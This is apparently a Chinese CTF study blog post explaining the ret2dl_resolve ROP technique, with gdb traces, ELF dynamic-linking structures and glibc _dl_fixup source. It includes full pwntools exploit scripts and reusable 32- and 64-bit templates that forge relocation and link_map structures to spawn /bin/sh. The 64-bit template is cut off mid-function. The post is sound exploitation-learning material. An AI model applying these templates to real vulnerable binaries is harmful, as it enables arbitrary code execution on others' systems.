天天看點

ret2dl_resolve

ret2dl_resolve是一種比較複雜的進階ROP技巧,利用它之前需要先了解動态連結的基本過程以及ELF檔案中動态連結相關的結構。

我根據raycp師傅的文章,動手調試了一下: https://ray-cp.github.io/archivers/ret2dl_resolve_analysis#64%E4%BD%8Delf%E7%A8%8B%E5%BA%8F%E7%9A%84ret2dl_resolve

了解過程用到了如下程式

1 #include <stdio.h>
2 // gcc -m32 -fno-stack-protector -no-pie -z relro -o demo.c -o demo
3 int main()
4 {
5     char data[20];
6     read(0,data,20);
7     return 0;
8 }      

程式運作到call    read@plt單步進入

1  ► 0x80491c3 <main+45>    call   read@plt                     <read@plt>
2         fd: 0x0 (/dev/pts/0)
3         buf: 0xffffd18c —▸ 0x8049233 (__libc_csu_init+83) ◂— add    esi, 1
4         nbytes: 0x14      

檢視read的plt表的内容

1 pwndbg> x/5i 0x8049060
2 => 0x8049060 <read@plt>:    endbr32 
3    0x8049064 <read@plt+4>:    jmp    DWORD PTR ds:0x804c00c
4    0x804906a <read@plt+10>:    nop    WORD PTR [eax+eax*1+0x0]
5    0x8049070 <__libc_start_main@plt>:    endbr32 
6    0x8049074 <__libc_start_main@plt+4>:    jmp    DWORD PTR ds:0x804c010      

可以看到程式跳進了0x804c00c所存儲的位址裡

1 pwndbg> x/xw 0x804c00c
2   0x804c00c <[email protected]>:    0x08049040      

而0x804c00c正是read的got表,表裡存放的位址是0x8049040在read的plt表的上面幾個,我們看一下

1 pwndbg> x/3i 0x8049040
2    0x8049040:    endbr32 
3    0x8049044:    push   0x0
4    0x8049049:    jmp    0x8049030      

這裡的代碼會先将0壓入棧裡,再跳轉到0x8049030的位置執行,我們看一下

1  0x8049030                  push   dword ptr [_GLOBAL_OFFSET_TABLE_+4] <0x804c004>
2  ► 0x8049036                jmp    dword ptr [0x804c008]         <0xf7fe7b10>      

發現他将0x804c004存儲的值先壓入棧中,再跳轉到0x804c008所存儲的位址即 0xf7fe7b10 執行

1 pwndbg> x/7i 0xf7fe7b10
2    0xf7fe7b10:    endbr32 
3    0xf7fe7b14:    push   eax
4    0xf7fe7b15:    push   ecx
5    0xf7fe7b16:    push   edx
6    0xf7fe7b17:    mov    edx,DWORD PTR [esp+0x10]
7    0xf7fe7b1b:    mov    eax,DWORD PTR [esp+0xc]
8    0xf7fe7b1f:    call   0xf7fe17d0      

0xf7fe7b10這個位址應該是

_dl_runtime_resolve函數的位址,但不知道為什麼我的pwngbd不會顯示

raycp師傅顯示出來是這樣的

1 0xf7feed90 <_dl_runtime_resolve>       push   eax
2 0xf7feed91 <_dl_runtime_resolve+1>     push   ecx
3 0xf7feed92 <_dl_runtime_resolve+2>     push   edx
4 0xf7feed93 <_dl_runtime_resolve+3>     mov    edx, dword ptr [esp + 0x10]
5 0xf7feed97 <_dl_runtime_resolve+7>     mov    eax, dword ptr [esp + 0xc]
6 0xf7feed9b <_dl_runtime_resolve+11>    call   _dl_fixup <0xf7fe85a0>      

發現在進行了一系列的操作後,會進入0xf7fe17d0即_dl_fixup函數。

在跟進_dl_fixup前,raycp師傅講述了動态連結相關的資料結構。

我們先檢視一下demo的dynamic的資訊:

1 $ readelf -d demo
 2 
 3 Dynamic section at offset 0x2f14 contains 24 entries:
 4   标記        類型                         名稱/值
 5  0x00000001 (NEEDED)                     共享庫:[libc.so.6]
 6  0x0000000c (INIT)                       0x8049000
 7  0x0000000d (FINI)                       0x804925c
 8  0x00000019 (INIT_ARRAY)                 0x804bf0c
 9  0x0000001b (INIT_ARRAYSZ)               4 (bytes)
10  0x0000001a (FINI_ARRAY)                 0x804bf10
11  0x0000001c (FINI_ARRAYSZ)               4 (bytes)
12  0x6ffffef5 (GNU_HASH)                   0x8048228
13  0x00000005 (STRTAB)                     0x8048298
14  0x00000006 (SYMTAB)                     0x8048248
15  0x0000000a (STRSZ)                      74 (bytes)
16  0x0000000b (SYMENT)                     16 (bytes)
17  0x00000015 (DEBUG)                      0x0
18  0x00000003 (PLTGOT)                     0x804c000
19  0x00000002 (PLTRELSZ)                   16 (bytes)
20  0x00000014 (PLTREL)                     REL
21  0x00000017 (JMPREL)                     0x8048314
22  0x00000011 (REL)                        0x804830c
23  0x00000012 (RELSZ)                      8 (bytes)
24  0x00000013 (RELENT)                     8 (bytes)
25  0x6ffffffe (VERNEED)                    0x80482ec
26  0x6fffffff (VERNEEDNUM)                 1
27  0x6ffffff0 (VERSYM)                     0x80482e2
28  0x00000000 (NULL)                       0x0      

Elf32_Dyn

是一個結構體數組,結構體的定義為:

1 typedef struct {
2     Elf32_Sword     d_tag;
3     union {
4         Elf32_Word  d_val;
5         Elf32_Addr  d_ptr;
6     } d_un;
7 } Elf32_Dyn;
8 extern Elf32_Dyn_DYNAMIC[];      

Elf32_Dyn

結構由一個類型值加上一個附加的數值或指針,對于不同的類型,後面附加的數值或者指針有着不同的含義。下面給出和延遲綁定相關的類型值的定義。

(我直接從raycp師傅的文章裡剪了過來)

ret2dl_resolve

由dynamic資訊可知.rel.plt的位址為 0x8048314,.dynsym的位址為 0x8048248, .dynstr的位址為 0x8048298。

.rel.plt重定位表中包含了需要重定位函數的資訊,也是一個結構體數組,結構體

Elf32_Rel

定義如下:

1 typedef struct {
2     Elf32_Addr        r_offset;
3     Elf32_Word       r_info;
4 } Elf32_Rel;      

其中r_offset表示got表的位址,即真實函數位址所需填進的地方,r_info有兩個作用,r_info>>8表示該函數對應在符号表.dynsym中的下标,r_info&0xff則表示重定位的類型。

我們檢視此程式的重定位表

1 $ readelf -r demo
 2 
 3 重定位節 '.rel.dyn' at offset 0x30c contains 1 entry:
 4  偏移量     資訊    類型              符号值      符号名稱
 5 0804bffc  00000206 R_386_GLOB_DAT    00000000   __gmon_start__
 6 
 7 重定位節 '.rel.plt' at offset 0x314 contains 2 entries:
 8  偏移量     資訊    類型              符号值      符号名稱
 9 0804c00c  00000107 R_386_JUMP_SLOT   00000000   read@GLIBC_2.0
10 0804c010  00000307 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0      
1 pwndbg> x/8xw 0x8048314
2 0x8048314:    0x0804c00c    0x00000107    0x0804c010    0x00000307
3 0x8048324:    0x00000000    0x00000000    0x00000000    0x00000000      

可以看到重定位表

.rel.plt

為一個

Elf32_Rel

數組,demo程式中該數組包含兩個元素,第一個是

read

的重定位表項

Elf32_Rel

結構體,第二個是

__libc_start_main

read

的重定位表

r_offset

0x0804c00c

,為

read

的got位址,即在動态解析函數完成後,将read的函數位址填入到

r_offset

0x0804c00c

中。

r_info

0x00000107

表示read函數的符号表為

.dynsym

數組中的

0x00000107>>8

(即

0x1

)個元素,它的類型為

0x00000107&0xff

(即0x7)對應為

R_386_JUMP_SLOT

類型。

下面看動态連結符号表.dynsym

1 $ readelf -s demo
2 
3 Symbol table '.dynsym' contains 5 entries:
4    Num:    Value  Size Type    Bind   Vis      Ndx Name
5      0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND 
6      1: 00000000     0 FUNC    GLOBAL DEFAULT  UND read@GLIBC_2.0 (2)
7      2: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
8      3: 00000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.0 (2)
9      4: 0804a004     4 OBJECT  GLOBAL DEFAULT   17 _IO_stdin_used      
1 pwndbg> x/20xw 0x8048248
2 0x8048248:    0x00000000    0x00000000    0x00000000    0x00000000
3 0x8048258:    0x0000001a    0x00000000    0x00000000    0x00000012
4 0x8048268:    0x0000003b    0x00000000    0x00000000    0x00000020
5 0x8048278:    0x0000001f    0x00000000    0x00000000    0x00000012
6 0x8048288:    0x0000000b    0x0804a004    0x00000004    0x00110011      

從重定位表

.rel.plt

中,我們知道了read的

r_info>>8

為0x1,即read的符号表項對應的是

.dynsym

第二個元素,果然可以看到

.dynsym

第一個元素為read函數的

Elf32_Sym

結構體。

可以看到它的

st_name

對應的是

0x0000001a

,即

read

字元串應該在

.dynstr

表偏移為

0x1a

的地方.

dynamic

我們知道了

.dynstr

表的位址為位址為0x8048298,去驗證下看其偏移

0x1a

是否為

read

字元串:

1 pwndbg> x/s 0x8048298+0x1a
2 0x80482b2:    "read"      

上面就是我按照raycp師傅的文章梳理的内容。

下面我自己總結一下調用某個函數的過程如read:

1.第一次call read時會先跳轉到read got表裡存的位址,got表此時存放的事plt+6的位址,他會push一個參數(reloc_arg),然後跳轉到公共表(plt0),公共表處會再push一個參數進去(link_map通過這個找dynamic段),然後就跳到

_dl_runtime_resolve

函數。

2.

_dl_runtime_resolve

函數靠link_map先找到dynamic,再通過dynamic段找到 .rel.plt的位址為 0x8048314,.dynsym的位址為 0x8048248, .dynstr的位址為 0x8048298。

3.

_dl_runtime_resolve

函數靠reloc_arg在.rel.plt裡找到read的r_offset和r_info。

4.r_info>>8用來在 .dynsym找到read對應的st_name ,r_info&0xff用來做檢查。

5.st_name用來在.dynstr裡找到read所對應的字元串

6.最後調用函數解析比對read字元串所對應的函數位址,并将其填到r_offset(read的got表)裡。

下面給上怎麼由link_map->dynamic->.rel.plt, .dynsym, .dynstr的。

1 pwndbg> x/xw 0x804c004
 2 0x804c004:    0xf7ffd990
 3 pwndbg> x/4xw 0xf7ffd990
 4 0xf7ffd990:    0x00000000    0xf7ffdc84    0x0804bf14    0xf7ffdc90
 5 pwndbg> x/40xw 0x0804bf14
 6 0x804bf14:    0x00000001    0x00000001    0x0000000c    0x08049000
 7 0x804bf24:    0x0000000d    0x0804925c    0x00000019    0x0804bf0c
 8 0x804bf34:    0x0000001b    0x00000004    0x0000001a    0x0804bf10
 9 0x804bf44:    0x0000001c    0x00000004    0x6ffffef5    0x08048228
10 0x804bf54:    0x00000005    0x08048298    0x00000006    0x08048248
11 0x804bf64:    0x0000000a    0x0000004a    0x0000000b    0x00000010
12 0x804bf74:    0x00000015    0xf7ffd970    0x00000003    0x0804c000
13 0x804bf84:    0x00000002    0x00000010    0x00000014    0x00000011
14 0x804bf94:    0x00000017    0x08048314    0x00000011    0x0804830c
15 0x804bfa4:    0x00000012    0x00000008    0x00000013    0x00000008      

下面給出一個32位例題:

0CTF 2018 BabyStack

1     Arch:     i386-32-little
2     RELRO:    Partial RELRO
3     Stack:    No canary found
4     NX:       NX enabled
5     PIE:      No PIE (0x8048000)      
1 int __cdecl main()
 2 {
 3   alarm(0xAu);
 4   sub_804843B();
 5   return 0;
 6 }
 7 
 8 ssize_t sub_804843B()
 9 {
10   char buf[40]; // [esp+0h] [ebp-28h] BYREF
11 
12   return read(0, buf, 0x40u);
13 }      

有明顯的溢出,但無法洩露libc,想到用ret2dl_runtime_resolve,又因為讀入有限想到用棧劫持

下面附上exp:

1 from pwn import *
 2 context.arch='i386'
 3 
 4 s=process('./babystack')
 5 
 6 read_plt=0x8048300
 7 read_got=0x804A00C
 8 bss_addr=0x804A020
 9 vul=0x804843B
10 pop_esi_edi_ebp_ret=0x080484e9
11 pop_ebp_ret=0x080484eb
12 leave_ret=0x080483a8
13 base_stage=bss_addr+0x400
14 
15 payload=b'a'*44+p32(read_plt)+p32(vul)+p32(0)+p32(base_stage)+p32(200)
16 
17 plt_0=0x80482F0
18 rel_plt=0x80482b0
19 dynsym=0x80481cc
20 dynstr=0x804822c
21 index_offset=(base_stage+28)-rel_plt
22 
23 
24 fake_sym_addr=base_stage+32
25 align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
26 fake_sym_addr = fake_sym_addr + align
27 index_dynsym = (fake_sym_addr - dynsym) // 0x10
28 #success(hex(index_dynsym))
29 r_info = (index_dynsym << 8)|0x7
30 fake_rel_plt = p32(read_got) + p32(r_info)
31 st_name = (fake_sym_addr + 16) - dynstr
32 fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
33 
34 payload = b'AAAA'
35 payload += p32(plt_0)
36 payload += p32(index_offset)
37 payload += p32(0)
38 payload += p32(base_stage + 100)
39 payload += b'a' * 8  #28
40 payload += fake_rel_plt
41 payload += align * b"B"
42 payload += fake_sym
43 payload += b"system"
44 payload += b"\x00" * (100 - len(payload))
45 payload += b'/bin/sh\x00'
46 payload += b"A"*(200 - len(payload))
47 s.send(payload)
48 
49 
50 payload  = b'A' * 44
51 payload += p32(0x080484eb)
52 payload += p32(base_stage)
53 payload += p32(0x080483a8)
54 s.send(payload)
55 
56 s.interactive()      

64位的ret2_dl_runtime_resolve與32位的又有不同之處。

下面首先給上_dl_fixup的源碼:

1 _dl_fixup (struct link_map *l, ElfW(Word) reloc_arg)
 2 {
 3 
 4   //擷取符号表位址
 5   const ElfW(Sym) *const symtab= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
 6   //擷取字元串表位址
 7   const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
 8   //擷取函數對應的重定位表結構位址
 9   const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
10   //擷取函數對應的符号表結構位址
11   const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
12   //得到函數對應的got位址,即真實函數位址要填回的位址
13   void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
14   
15   DL_FIXUP_VALUE_TYPE value;
16 
17   //判斷重定位表的類型,必須要為7--ELF_MACHINE_JMP_SLOT
18   assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
19 
20    /* Look up the target symbol.  If the normal lookup rules are not
21       used don't look in the global scope.  */
22    //需要繞過
23   if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
24    {
25       const struct r_found_version *version = NULL;
26 
27       if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
28   {
29     const ElfW(Half) *vernum =
30       (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
31     ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
32     version = &l->l_versions[ndx];
33     if (version->hash == 0)
34       version = NULL;
35   }
36 
37    ...
38 
39       // 接着通過strtab+sym->st_name找到符号表字元串
40       result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
41             version, ELF_RTYPE_CLASS_PLT, flags, NULL);
42 
43   ...
44       // value為libc基址加上要解析函數的偏移位址,也即實際位址
45       value = DL_FIXUP_MAKE_VALUE (result,
46            sym ? (LOOKUP_VALUE_ADDRESS (result)
47             + sym->st_value) : 0);
48     }
49   else
50     {
51       /* We already found the symbol.  The module (and therefore its load
52    address) is also known.  */
53       value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
54       result = l;
55     }
56 
57 ...
58 
59   // 最後把value寫入相應的GOT表條目rel_addr中
60   return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
61 }      

如果按照32位的方法改reloc_arg的話,理論上可行,但在執行時會發生錯誤,這是為什麼呢?

注意下面代碼:

23   if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
24    {
25       const struct r_found_version *version = NULL;
26 
27       if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
28   {
29     const ElfW(Half) *vernum =
30       (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
31     ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
32     version = &l->l_versions[ndx];
33     if (version->hash == 0)
34       version = NULL;
35   }      

64位構造的資料離dynamic距離較遠,reloc->r_info也會較大,會使得vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff時 出現錯誤

那還有什麼其他辦法呢?那就是選擇構造link_map而不是reloc_arg。

我們嘗試通過使sym->st_other != NULL來繞過這個 if 語句,進而執行

1 49   else
2 50     {
3 51       /* We already found the symbol.  The module (and therefore its load
4 52    address) is also known.  */
5 53       value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
6 54       result = l;
7 55     }      

我們來看 DL_FIXUP_MAKE_VALUE 這個源碼,他會把這個函數判定為已解析過的函數,然後把 l->l_addr + sym->st_value 指派給 value 。

那此時我們可以選擇把 sym->st_value 僞造為某個已解析函數的got表位址,如read.got ,再把 l->-_addr 改為 目标位址如 system 到 read 的偏移。那麼我們的 value 最後就是 system位址。

下面我們看一下各個結構體:

1 type = struct link_map {
 2     Elf64_Addr l_addr;
 3     char *l_name;
 4     Elf64_Dyn *l_ld;
 5     struct link_map *l_next;
 6     struct link_map *l_prev;
 7     struct link_map *l_real;
 8     Lmid_t l_ns;
 9     struct libname_list *l_libname;
10     Elf64_Dyn *l_info[76];  //l_info 裡面包含的就是動态連結的各個表的資訊
11     ...
12     size_t l_tls_firstbyte_offset;
13     ptrdiff_t l_tls_offset;
14     size_t l_tls_modid;
15     size_t l_tls_dtor_count;
16     Elf64_Addr l_relro_addr;
17     size_t l_relro_size;
18     unsigned long long l_serial;
19     struct auditstate l_audit[];
20 } *
21 
22 pwndbg> ptype Elf64_Dyn
23 type = struct {
24     Elf64_Sxword d_tag;
25     union {
26         Elf64_Xword d_val;
27         Elf64_Addr d_ptr;
28     } d_un;
29 }
30 
31 pwndbg> ptype Elf64_Sym
32 type = struct {
33     Elf64_Word st_name;
34     unsigned char st_info;
35     unsigned char st_other;
36     Elf64_Section st_shndx;
37     Elf64_Addr st_value;
38     Elf64_Xword st_size;
39 }
40 
41 pwndbg> ptype Elf64_Rela
42 type = struct {
43     Elf64_Addr r_offset;
44     Elf64_Xword r_info;
45     Elf64_Sxword r_addend;
46 }      

除了要僞造一些結構體,我們還需要僞造他們的指針。

pwndbg> x/gx 0x404008
0x404008:    0x00007ffff7ffe190
pwndbg> x/20gx 0x00007ffff7ffe190+0x60
0x7ffff7ffe1f0:    0x0000000000000000    0x0000000000403ea0
0x7ffff7ffe200:    0x0000000000403eb0    0x0000000000403f30
0x7ffff7ffe210:    0x0000000000403f40    0x0000000000403f50
0x7ffff7ffe220:    0x0000000000403ec0    0x0000000000403ed0
0x7ffff7ffe230:    0x0000000000403e30    0x0000000000403e40
0x7ffff7ffe240:    0x0000000000000000    0x0000000000000000
0x7ffff7ffe250:    0x0000000000000000    0x0000000000000000
0x7ffff7ffe260:    0x0000000000000000    0x0000000000000000
0x7ffff7ffe270:    0x0000000000403f10    0x0000000000403ee0
0x7ffff7ffe280:    0x0000000000000000    0x0000000000403f20      
LOAD:0000000000403E20 _DYNAMIC        Elf64_Dyn <1, 1>        ; DATA XREF: LOAD:00000000004001A0↑o
LOAD:0000000000403E20                                         ; .got.plt:_GLOBAL_OFFSET_TABLE_↓o
LOAD:0000000000403E20                                         ; DT_NEEDED libc.so.6
LOAD:0000000000403E30                 Elf64_Dyn <0Ch, 401000h> ; DT_INIT
LOAD:0000000000403E40                 Elf64_Dyn <0Dh, 401238h> ; DT_FINI
LOAD:0000000000403E50                 Elf64_Dyn <19h, 403E10h> ; DT_INIT_ARRAY
LOAD:0000000000403E60                 Elf64_Dyn <1Bh, 8>      ; DT_INIT_ARRAYSZ
LOAD:0000000000403E70                 Elf64_Dyn <1Ah, 403E18h> ; DT_FINI_ARRAY
LOAD:0000000000403E80                 Elf64_Dyn <1Ch, 8>      ; DT_FINI_ARRAYSZ
LOAD:0000000000403E90                 Elf64_Dyn <6FFFFEF5h, 4003A0h> ; DT_GNU_HASH
LOAD:0000000000403EA0                 Elf64_Dyn <5, 400450h>  ; DT_STRTAB
LOAD:0000000000403EB0                 Elf64_Dyn <6, 4003C0h>  ; DT_SYMTAB
LOAD:0000000000403EC0                 Elf64_Dyn <0Ah, 48h>    ; DT_STRSZ
LOAD:0000000000403ED0                 Elf64_Dyn <0Bh, 18h>    ; DT_SYMENT
LOAD:0000000000403EE0                 Elf64_Dyn <15h, 0>      ; DT_DEBUG
LOAD:0000000000403EF0                 Elf64_Dyn <3, 404000h>  ; DT_PLTGOT
LOAD:0000000000403F00                 Elf64_Dyn <2, 48h>      ; DT_PLTRELSZ
LOAD:0000000000403F10                 Elf64_Dyn <14h, 7>      ; DT_PLTREL
LOAD:0000000000403F20                 Elf64_Dyn <17h, 4004F8h> ; DT_JMPREL
LOAD:0000000000403F30                 Elf64_Dyn <7, 4004C8h>  ; DT_RELA
LOAD:0000000000403F40                 Elf64_Dyn <8, 30h>      ; DT_RELASZ
LOAD:0000000000403F50                 Elf64_Dyn <9, 18h>      ; DT_RELAENT
LOAD:0000000000403F60                 Elf64_Dyn <6FFFFFFEh, 4004A8h> ; DT_VERNEED
LOAD:0000000000403F70                 Elf64_Dyn <6FFFFFFFh, 1> ; DT_VERNEEDNUM
LOAD:0000000000403F80                 Elf64_Dyn <6FFFFFF0h, 400498h> ; DT_VERSYM
LOAD:0000000000403F90                 Elf64_Dyn <0>           ; DT_NULL      

通過上圖,我們可以很清晰地看見在 link_map+0x68 , 0x70 ,0xf8的位置分别存放的是 DT_STRTAB ,DT_SYMTAB , DT_JMPREL指針。

因為需要控制symtab和reloc->r_info,是以我們還要僞造位于link_map+0x70的DT_SYMTAB指針、link_map+0xf8的DT_JMPREL指針,另外strtab必須是個可讀的位址,是以我們還需要僞造位于link_map+0x68的DT_STRTAB指針。之後就是僞造.dynamic中的DT_SYMTAB結構體和DT_JMPREL結構體以及函數所對應的Elf64_Rela結構體。為了友善,我在構造的過程中一般将reloc_arg作為0來進行構造。

 總的來說要滿足以下幾個條件:

1.link_map中的DT_STRTAB、DT_SYMTAB、DT_JMPREL可讀

2.DT_SYMTAB結構體中的d_ptr即sym,(*(sym+5))&0x03 != 0

3.(reloc->r_info)&0xff == 7

4.rel_addr = l->addr + reloc->r_offset即原先需要修改的got表位址有可寫權限

5.l->l_addr + sym->st_value 為system的位址

64位給出的例題是winmt師傅提供的

1 .text:0000000000401176 main            proc near               ; DATA XREF: _start+21↑o
 2 .text:0000000000401176
 3 .text:0000000000401176 buf             = byte ptr -20h
 4 .text:0000000000401176
 5 .text:0000000000401176 ; __unwind {
 6 .text:0000000000401176                 endbr64
 7 .text:000000000040117A                 push    rbp
 8 .text:000000000040117B                 mov     rbp, rsp
 9 .text:000000000040117E                 sub     rsp, 20h
10 .text:0000000000401182                 lea     rdi, s          ; "Please say something:"
11 .text:0000000000401189                 call    _puts
12 .text:000000000040118E                 lea     rax, [rbp+buf]
13 .text:0000000000401192                 mov     edx, 200h       ; nbytes
14 .text:0000000000401197                 mov     rsi, rax        ; buf
15 .text:000000000040119A                 mov     edi, 0          ; fd
16 .text:000000000040119F                 call    _read
17 .text:00000000004011A4                 mov     edi, 1          ; fd
18 .text:00000000004011A9                 call    _close
19 .text:00000000004011AE                 mov     edi, 2          ; fd
20 .text:00000000004011B3                 call    _close
21 .text:00000000004011B8                 mov     eax, 0
22 .text:00000000004011BD                 leave
23 .text:00000000004011BE                 retn
24 .text:00000000004011BE ; } // starts at 401176
25 .text:00000000004011BE main            endp      

一個讀入,關閉了标準輸入無法洩露位址,想到用ret2dl

1 from pwn import *
 2 
 3 s=process('./test')
 4 elf=ELF('./test')
 5 libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
 6 
 7 plt0 = elf.get_section_by_name('.plt').header.sh_addr
 8 l_addr=libc.sym['system'] - libc.sym['read']
 9 st_value=elf.got['read']
10 
11 def get_fake_link_map(fake_link_map_addr,l_addr,st_value):
12     #the address of each fake pointer
13     fake_Elf64_Dyn_STR_addr=p64(fake_link_map_addr)
14     fake_Elf64_Dyn_SYM_addr=p64(fake_link_map_addr+0x8)
15     fake_Elf64_Dyn_JMPREL_addr=p64(fake_link_map_addr+0x18)
16     #fake structure
17     fake_Elf64_Dyn_SYM =p64(0)+p64(st_value-0x8)
18     fake_Elf64_Dyn_JMPREL = p64(0)+p64(fake_link_map_addr+0x28)
19       # JMPREL point to the address of .rel.plt,which will be located in fake_link_map_addr+0x28
20     r_offset = fake_link_map_addr - l_addr
21     fake_Elf64_rela =p64(r_offset)+p64(0x7)+p64(0)
22     #fake_link_map
23     fake_link_map =p64(l_addr&(2**64-1))# 0x8
24     fake_link_map+=fake_Elf64_Dyn_SYM   # 0x18  
25     fake_link_map+=fake_Elf64_Dyn_JMPREL# 0x28
26     fake_link_map+=fake_Elf64_rela      # 0x40
27     fake_link_map+=b"\x00"*0x28         # 0x68
28     fake_link_map+=fake_Elf64_Dyn_STR_addr     # STRTAB pointer,0x70
29     fake_link_map+=fake_Elf64_Dyn_SYM_addr     # SYMTAB pointer,0x78
30     fake_link_map+=b"/bin/sh\x00".ljust(0x80,b'\x00') # 0xf8
31     fake_link_map+=fake_Elf64_Dyn_JMPREL_addr  # JMPREL pointer    
32     return fake_link_map
33 
34 
35 pop_rdi_ret = 0x401223
36 pop_rsi_r15_ret = 0x401221
37 ret = 0x4011BE
38 fake_link_map_addr = 0x404050
39 
40 
41 fake_link_map=get_fake_link_map(fake_link_map_addr,l_addr,st_value)
42 
43 payload = b'\x00'*0x28 + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(fake_link_map_addr) + p64(0) + p64(elf.plt['read'])
44 payload += p64(ret) + p64(pop_rdi_ret) + p64(fake_link_map_addr+0x78) + p64(plt0+6) + p64(fake_link_map_addr) + p64(0)
45 payload = payload.ljust(0x200, b'\x00')
46 
47 s.sendafter("something:\n",payload)
48 
49 s.send(fake_link_map)
50 
51 s.interactive()       

這裡再放一下用csu加棧遷移的腳本(雖然用處不大)

1 from pwn import *
 2 context(os='linux', arch='amd64', log_level='debug') 
 3 
 4 s=process('./test')
 5 elf=ELF('./test')
 6 libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
 7 
 8 def get_fake_link_map(fake_link_map_addr,l_addr,st_value):
 9     #the address of each fake pointer
10     fake_Elf64_Dyn_STR_addr=p64(fake_link_map_addr)
11     fake_Elf64_Dyn_SYM_addr=p64(fake_link_map_addr+0x8)
12     fake_Elf64_Dyn_JMPREL_addr=p64(fake_link_map_addr+0x18)
13     #fake structure
14     fake_Elf64_Dyn_SYM =p64(0)+p64(st_value-0x8)
15     fake_Elf64_Dyn_JMPREL = p64(0)+p64(fake_link_map_addr+0x28)
16       # JMPREL point to the address of .rel.plt,which will be located in fake_link_map_addr+0x28
17     r_offset = fake_link_map_addr - l_addr
18     fake_Elf64_rela =p64(r_offset)+p64(0x7)+p64(0)
19     #fake_link_map
20     fake_link_map =p64(l_addr&(2**64-1))# 0x8
21     fake_link_map+=fake_Elf64_Dyn_SYM   # 0x18  
22     fake_link_map+=fake_Elf64_Dyn_JMPREL# 0x28
23     fake_link_map+=fake_Elf64_rela      # 0x40
24     fake_link_map+=b"\x00"*0x28         # 0x68
25     fake_link_map+=fake_Elf64_Dyn_STR_addr     # STRTAB pointer,0x70
26     fake_link_map+=fake_Elf64_Dyn_SYM_addr     # SYMTAB pointer,0x78
27     fake_link_map+=b"/bin/sh\x00".ljust(0x80,b'\x00') # 0xf8
28     fake_link_map+=fake_Elf64_Dyn_JMPREL_addr  # JMPREL pointer    
29     return fake_link_map
30 
31 plt0 = elf.get_section_by_name('.plt').header.sh_addr
32 pop_rdi_ret = 0x401223
33 pop_rsi_r15_ret = 0x401221
34 ret = 0x40101A
35 l_addr=libc.sym['system'] - libc.sym['read']
36 st_value=elf.got['read']
37 
38 main=0x401176
39 write_addr=0x404b00
40 fake_link_map_addr=write_addr+0x28
41 rbp=write_addr-0x8
42 leave_ret=0x4011bd
43 
44 csu_6pop=0x40121A
45 csu_3mov=0x401200
46 
47 fake_link_map=get_fake_link_map(fake_link_map_addr,l_addr,st_value)
48 
49 payload=b'\x00'*0x20+p64(0)
50 payload+=p64(csu_6pop)+p64(0)+p64(1)+p64(0)+p64(write_addr)+p64(len(fake_link_map)+0x28)+p64(elf.got['read'])
51 payload+=p64(csu_3mov)+p64(0)*7+p64(main)
52 success(hex(len(payload)))
53 payload=payload.ljust(0x200,b'\x00')
54 s.sendafter("something:\n",payload)
55 
56 payload=p64(pop_rdi_ret)+p64(fake_link_map_addr+0x78)+p64(plt0+6)+p64(fake_link_map_addr)+p64(0)+fake_link_map
57 s.send(payload)
58 
59 payload=b'\x00'*0x20+p64(rbp)
60 payload+=p64(ret)+p64(leave_ret)
61 s.send(payload)
62 
63 s.interactive()      

最後附上32位模闆

plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr

index_offset=base_stage+20-rel_plt # .rel.plt

fake_sym_addr=base_stage+28
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) // 0x10
r_info = (index_dynsym << 8)|0x7
fake_rel_plt = p32(read_got) + p32(r_info)
st_name = (fake_sym_addr + 16) - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
fake_str= b"system"

payload = b'AAAA'               # 4
payload += p32(plt_0)           # 8
payload += p32(index_offset)    # 12
payload += b'aaaa'              # 16
payload += p32(base_stage + 80) # 20 /bin/sh
payload += fake_rel_plt         # 28
payload += align * b"B"
payload += fake_sym
payload += fake_str
payload += b"\x00" * (80 - len(payload))
payload += b'/bin/sh\x00'
payload += b"A"*(200 - len(payload))      

64位模闆:

1 from pwn import *
 2 context(os='linux', arch='amd64', log_level='debug')
 3 
 4 s=process('./test')
 5 elf=ELF('./test')
 6 libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
 7 
 8 plt0 = elf.get_section_by_name('.plt').header.sh_addr
 9 l_addr=libc.sym['system'] - libc.sym['read']
10 st_value=elf.got['read']
11 
12 def get_fake_link_map(fake_link_map_addr,l_addr,st_value):
13     #the address of each fake pointer
14     fake_Elf64_Dyn_STR_addr=p64(fake_link_map_addr)
